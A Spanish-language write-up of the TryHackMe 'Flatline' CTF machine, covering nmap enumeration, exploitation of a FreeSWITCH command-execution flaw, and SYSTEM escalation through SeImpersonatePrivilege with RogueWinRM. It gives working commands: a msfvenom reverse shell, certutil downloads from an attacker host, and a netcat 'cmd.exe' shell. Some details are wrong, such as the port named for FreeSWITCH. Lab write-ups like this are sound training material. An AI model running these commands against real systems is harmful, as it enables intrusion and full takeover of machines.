articulos - b0ySie7e
  • ๐Ÿ‘‹Bienvenido
  • Write up
    • ๐Ÿ“•DockerLabs
      • QueueMedic
    • ๐Ÿ“•Tryhackme
      • VulnneTroasted
      • Relevant
      • Bufferoverflowprep
      • Eavesdropper
      • Kitty
      • Borderlands
      • Willow
      • Gatekeeper
      • Web Strike Blue Team
      • Splunkps Eclipse
      • Sustah
      • Battery
      • The Server From Hell
      • Biteme
      • Zeno
      • Olymus
      • Mastermind
      • Cyber Crafted
      • Ollie
      • Red
      • Opacity
      • Tony The Tiger
      • B3dr0ck
      • Valley
      • Hacker vs Hacker
      • Flatine
      • Glitch
      • Smag Grotto
      • Ninja Skills
      • Corridor
      • TechSupport
      • Kiba
      • Fowsniff CTF
      • Blueprint
      • Anonymous
      • Bookstore
      • Bounty
      • Cmspit
      • Mustacchio
    • ๐Ÿ“•Hackthebox
      • Inject
      • Busqueda
      • Monitors Two
      • PC
      • Topology
      • Wifinetic
      • Pilgrimage
      • Keeper
      • Headless
      • Devvortex
      • Codify
      • Perfection
      • Broker
      • Pov
      • Resolute
      • Monteverde
      • Intelligence
      • StreamIO
      • Scrambled
      • Escape
      • Authority
      • Return
      • Timelapse
      • Support
      • Cap
      • Doctor
      • Validation
      • Twomillion
    • ๐Ÿ“•PortSwigger
      • SQL Injection
        • Lab: SQL injection vulnerability in WHERE clause allowing retrieval of hidden data
        • Lab: SQL injection vulnerability allowing login bypass
        • Lab: SQL injection attack, querying the database type and version on Oracle
        • Lab: SQL injection attack, querying the database type and version on MySQL and Microsoft
        • Lab: SQL injection attack, listing the database contents on non-Oracle databases
        • Lab: SQL injection UNION attack, determining the number of columns returned by the query
        • Lab: SQL injection UNION attack, retrieving data from other tables
        • Lab: SQL injection UNION attack, retrieving multiple values in a single column
        • Lab: Blind SQL injection with conditional responses
        • Lab: Blind SQL injection with conditional errors
        • Lab: Visible error-based SQL injection
        • Lab: Blind SQL injection with time delays
        • Lab: Blind SQL injection with time delays and information retrieval
        • Lab: Blind SQL injection with out-of-band interaction
        • Lab: Blind SQL injection with out-of-band data exfiltration
        • Lab: SQL injection with filter bypass via XML encoding
  • Articulos
    • ๐Ÿ› ๏ธProyectos
      • ๐Ÿ“Host Port Discovery
    • ๐Ÿ› ๏ธLaboratorio
      • ๐Ÿ“Hacking Wireles
  • Vulnerabilidaes
    • ๐Ÿ–ฅ๏ธExplotacion
      • CVE-2023-38831
Powered by GitBook
On this page
  • Metodologรญa
  • Walkthrough
  • Enumeraciรณn
  • Explotaciรณn
  • Escalada de privilegios
  1. Write up
  2. Tryhackme

Flatine

PreviousHacker vs HackerNextGlitch

Last updated 1 year ago

Es una maquina que explota la vulnerabilidad de FreeSWITCH que permite la ejecuciรณn de comandos, luego se tiene que hacer uso de tu ingenio para subir un archivo malicioso o obtener una consola. Para escalar privilegios abusaremos del SeImpersonatePrivilege para ejecutar obtener una consola con privilegios

  • Link

  • Created by

Metodologรญa

  • Enumeraciรณn

    • Escaneo de puertos

    • Enumeraciรณn de servicios

  • Explotaciรณn

    • FreeSWITCH 1.10.1 - Command Execution

    • Intrusiรณn

  • Escalar Privilegios

    • Usuario win-eom4pk0578n\nekrotic

    • SeImpersonatePrivilege

Walkthrough

Enumeraciรณn

Escaneo de puertos

Iniciamos con nuestra herramienta preferida a escanear los puerto de la maquina victima.

โฏ nmap -p- --open --min-rate 1000 -vvv [IP-VICTIM] -Pn -n  -oG allportsScan
PORT     STATE SERVICE       REASON
3389/tcp open  ms-wbt-server syn-ack
8021/tcp open  ftp-proxy     syn-ack

-p-: Esta opciรณn indica a Nmap que escanee todos los puertos en lugar de un rango especรญfico. El guion ("-") significa "todos los puertos". Esto permite escanear todos los puertos desde el puerto 1 hasta el 65535.

--open: Esta opciรณn le dice a Nmap que solo muestre los puertos que estรกn abiertos. Los puertos abiertos son aquellos en los que un servicio estรก escuchando y aceptando conexiones.

--min-rate 1000: Esto establece la velocidad mรญnima de escaneo en 1000 paquetes por segundo. Cuanto mayor sea la velocidad de escaneo, mรกs rรกpido se completarรก el escaneo, pero ten en cuenta que un escaneo mรกs rรกpido puede ser mรกs intrusivo y podrรญa llamar la atenciรณn no deseada.

[IP-VICTIM]: Esta es la direcciรณn IP del objetivo que se va a escanear. Debes reemplazarla por la direcciรณn IP que deseas escanear.

-Pn: Esta opciรณn indica a Nmap que no realice el descubrimiento de hosts (Ping) antes de escanear los puertos. Puedes usar esto si sabes que el host objetivo no responde a los paquetes de Ping.

-n: Esta opciรณn le dice a Nmap que no realice la resoluciรณn de nombres DNS. Puedes usarlo si no deseas que Nmap realice bรบsquedas DNS inversas durante el escaneo.

-oG allportsScan: Esta opciรณn le indica a Nmap que genere la salida en formato "greppable" (Grep) y la guarde en un archivo llamado "allportsScan". Este archivo contendrรก informaciรณn detallada sobre los puertos abiertos y otros detalles del escaneo. Para entender un poco mas de los parametros que lanzamos con nmap podemos leer un poco lo siguiente:

-p-: Esta opciรณn indica a Nmap que escanee todos los puertos en lugar de un rango especรญfico. El guion ("-") significa "todos los puertos". Esto permite escanear todos los puertos desde el puerto 1 hasta el 65535.

--open: Esta opciรณn le dice a Nmap que solo muestre los puertos que estรกn abiertos. Los puertos abiertos son aquellos en los que un servicio estรก escuchando y aceptando conexiones.

--min-rate 1000: Esto establece la velocidad mรญnima de escaneo en 1000 paquetes por segundo. Cuanto mayor sea la velocidad de escaneo, mรกs rรกpido se completarรก el escaneo, pero ten en cuenta que un escaneo mรกs rรกpido puede ser mรกs intrusivo y podrรญa llamar la atenciรณn no deseada.

[IP-VICTIM]: Esta es la direcciรณn IP del objetivo que se va a escanear. Debes reemplazarla por la direcciรณn IP que deseas escanear.

-Pn: Esta opciรณn indica a Nmap que no realice el descubrimiento de hosts (Ping) antes de escanear los puertos. Puedes usar esto si sabes que el host objetivo no responde a los paquetes de Ping.

-n: Esta opciรณn le dice a Nmap que no realice la resoluciรณn de nombres DNS. Puedes usarlo si no deseas que Nmap realice bรบsquedas DNS inversas durante el escaneo.

-oG allportsScan: Esta opciรณn le indica a Nmap que genere la salida en formato "greppable" (Grep) y la guarde en un archivo llamado "allportsScan". Este archivo contendrรก informaciรณn detallada sobre los puertos abiertos y otros detalles del escaneo.

Teniendo los puertos abiertos, vamos a enumerar los servicios y versiones que se ejecutan en los puertos abiertos

โฏ nmap -p3389,8021 -sC -sV -vvv -Pn -n [IP-VICTIM] -oN servicesScan

PORT     STATE SERVICE          REASON  VERSION
3389/tcp open  ms-wbt-server    syn-ack Microsoft Terminal Services
| rdp-ntlm-info: 
|   Target_Name: WIN-EOM4PK0578N
|   NetBIOS_Domain_Name: WIN-EOM4PK0578N
|   NetBIOS_Computer_Name: WIN-EOM4PK0578N
|   DNS_Domain_Name: WIN-EOM4PK0578N
|   DNS_Computer_Name: WIN-EOM4PK0578N
|   Product_Version: 10.0.17763
|_  System_Time: 2023-11-08T17:20:48+00:00
| ssl-cert: Subject: commonName=WIN-EOM4PK0578N
| Issuer: commonName=WIN-EOM4PK0578N
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2023-11-07T17:14:10
| Not valid after:  2024-05-08T17:14:10
| MD5:   129e:347f:69b3:cbb6:d96a:0d8f:96a3:2e52
| SHA-1: eac2:8e47:ade7:081a:3b37:6ed4:23fc:fda1:1d31:4ac2
| -----BEGIN CERTIFICATE-----
| MIIC4jCCAcqgAwIBAgIQSJRzgeegf4lKeYaz57SfvDANBgkqhkiG9w0BAQsFADAa
| MRgwFgYDVQQDEw9XSU4tRU9NNFBLMDU3OE4wHhcNMjMxMTA3MTcxNDEwWhcNMjQw
| NTA4MTcxNDEwWjAaMRgwFgYDVQQDEw9XSU4tRU9NNFBLMDU3OE4wggEiMA0GCSqG
| SIb3DQEBAQUAA4IBDwAwggEKAoIBAQDHNDuK+vaUYLQ/naV136YMFE8Z4gqfWJyJ
| hpyeO5hwunIH5oJK+ua1w1CBygf9C88KBSdJU9Nv5gpq5jTsh7f/1th2N3WJbqk0
| HMOHju52O1wm+9ezQTm+6LFtnoMlge2Z1Yo9TPFveq6CMukRAXpprqsZQT3JcyV8
| bMn3ab4d3fCm68behfZzBtkGjxvHHJKUFHN9rn9IUfCEaNLb5C6ISucZbnKumcJK
| wKZwkR9/t3++foJIvGdrkCB4BrX9KukkR+sgn7j8UIeu6S0FwqtLTm5L7C4R2MRF
| 2HJHBEFglZ6opiaYNmdcJyexigJH+LScdqsEhK+ndo15lCV+ogBRAgMBAAGjJDAi
| MBMGA1UdJQQMMAoGCCsGAQUFBwMBMAsGA1UdDwQEAwIEMDANBgkqhkiG9w0BAQsF
| AAOCAQEAPfd/fm2nkGHdoM8+1+Or7AbgcA4dBqmZeJR7OzElclZ8lG3p6nlh55N1
| 4Bru/n5T28yXZAFzIkoFU/D3LFfvKvxcTd9UCXJwyDwNXdwYV4mHlBkcs+t0EGgV
| WyZ1hlMLq2skc5Y1R6Sb6tUnCtG6ZmmWrzaHYUuYzdd725345z+8HOBysF2echCe
| mTAwigqEaL5ViEWrrgpC0XduOQQ38qMoL+5OVNm2oM6Xz8o4tYGdHuunr8FO23Af
| Cs36nZzkgB+tEzQ0navpBmdPoImGHG51NCowB5r33HOw3VAK5XskKcuIqG6ckj6X
| ynQvJjvAHWUQKAM/gPoRXxA4a4YuNQ==
|_-----END CERTIFICATE-----
|_ssl-date: 2023-11-08T17:20:53+00:00; 0s from scanner time.
8021/tcp open  freeswitch-event syn-ack FreeSWITCH mod_event_socket
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

-p3389,8021: Esta opciรณn especifica los puertos que se van a escanear. En este caso, se estรกn escaneando los puertos 33389 y 8021. Los nรบmeros de puerto estรกn separados por comas y no se utiliza el rango de puertos.

-sV: Esta opciรณn realiza la detecciรณn de versiones de servicios. Nmap intentarรก determinar quรฉ servicios se estรกn ejecutando en los puertos especificados y mostrarรก informaciรณn sobre las versiones de esos servicios.

-sC: Activa los scripts de secuencia de comandos (scripts de automatizaciรณn) de Nmap. Esto permite que Nmap ejecute scripts de detecciรณn y enumeraciรณn de servicios en los puertos especificados.

-Pn: Esta opciรณn indica a Nmap que no realice el descubrimiento de hosts (Ping) antes de escanear los puertos. Si no se puede contactar con el host a travรฉs de Ping, Nmap aรบn intentarรก escanear los puertos especificados.

-vvv: Esto establece el nivel de verbosidad del escaneo en "muy alto". Esto significa que Nmap proporcionarรก una salida detallada que incluye informaciรณn adicional sobre el progreso del escaneo.

[IP-VICTIM]: Debes reemplazar [IP-VICTIM] con la direcciรณn IP del objetivo que deseas escanear. Este es el host en el que se realizarรก el escaneo.

-oN servicesScan: Esta opciรณn le dice a Nmap que genere la salida en formato "greppable" (Grep) y la guarde en un archivo llamado "servicesScan". Este archivo contendrรก informaciรณn detallada sobre los servicios y versiones detectadas en los puertos especificados.

Explotaciรณn

FreeSWITCH 1.10.1 - Command Execution

El puerto 3389 encontramos un servicio el cual tiene una vulnerabilidad de (FreeSWITCH)[https://www.exploit-db.com/exploits/47799]

Ejecutamos el exploit indicando el comando whoami

โฏ python3 exploitFreeSwitch.py [IP-VICTIM] 'whoami'
Authenticated
Content-Type: api/response
Content-Length: 25

win-eom4pk0578n\nekrotic

Tenemos respuesta de la maquina victima al comando whoami y tenemos el usuario win-eom4pk0578n\nekrotic

Intrusiรณn

Para obnener una consola de la maquina victima, vamos a crearnos un archivo malicioso, tu la puedes hacer con nc.exe el objetivo es el mismo.

La idea es subir este fichero malicioso a la maquina victima y luego con el exploit que nos permite ejecutar comandos, ejecutar el archivo malicioso y enviandonos una consola

  • Primero, Creamos nuestro .exe malicioso

msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.10 LPORT=443 -f exe > calc.exe
  • Segundo, iniciamos un servidor en python

โฏ python3 -m http.server 80
  • Tercero, con certutil podemos descargar el archivo a la maquina victima

โฏ python3 exploitFreeSwitch.py [IP-VICTIM] 'certutil -urlcache -f http://[IP-ATTACKER]/calc.exe calc.exe'
Authenticated
Content-Type: api/response
Content-Length: 71
  • Cuarto, ponemos a la escucha ncat para recibir la consola

โฏ rlwrap ncat -lvnp 443
  • Quinto, ejecutemos el fichero malicioso

โฏ python3 exploitFreeSwitch.py [IP-VICTIM] '.\calc.exe'

Si lo hiciste bien, debes de tener una consola de la maquina victima

Escalada de privilegios

Enumerando el sistema encotramos:

C:\Program Files\FreeSWITCH>whoami /priv

El usuario tiene habilitado el SeImpersonate

SeImpersonatePrivilege

Haciendo uso de este privilegio se puede llegar a ejecutar comandos

  • Descargamos los archivos en la maquina victima el RogueWinRM y el nc.exe

  • RogueWinRM:

C:\Users\Nekrotic\Documents>certutil -urlcache -f 'http://[IP-ATTACKER]/nc.exe nc.exe'
  • nc.exe:

C:\Program Files\FreeSWITCH>certutil -urlcache -f http://[IP-ATTACKER]/RogueWinRM.exe RogueWinRM.exe

Ahora ejecutamos

RogueWinRM.exe -p "nc.exe" -a "-e cmd.exe [IP-ATTACKER] 444"

Demos de asegurarnos que nos ponga un [+] CreateProcessWithTokenW OK

C:\Program Files\FreeSWITCH>.\RogueWinRM.exe -p "nc.exe" -a "-e cmd.exe [IP-ATTACKER] 444"
.\RogueWinRM.exe -p "nc.exe" -a "-e cmd.exe [IP-ATTACKER] 444"
Listening for connection on port 5985 .... 
Received http negotiate request
Sending the 401 http response with ntlm type 2 challenge
Received http packet with ntlm type3 response
Using ntlm type3 response in AcceptSecurityContext()
BITS triggered!
[+] authresult 
NT AUTHORITY\SYSTEM
[+] CreateProcessWithTokenW OK
C:\Program Files\FreeSWITCH>

Antes debemos de poner a la escucha ncat en nuestra maquina atacante y tendremos nuestra consola.

ยกVAMOS!

Happy hacking :)

8

Usaremos

๐Ÿ“•
RogueWinRM
Flatline
Nekrotic
20231108121503.png
20231108125556.png
20231108152402.png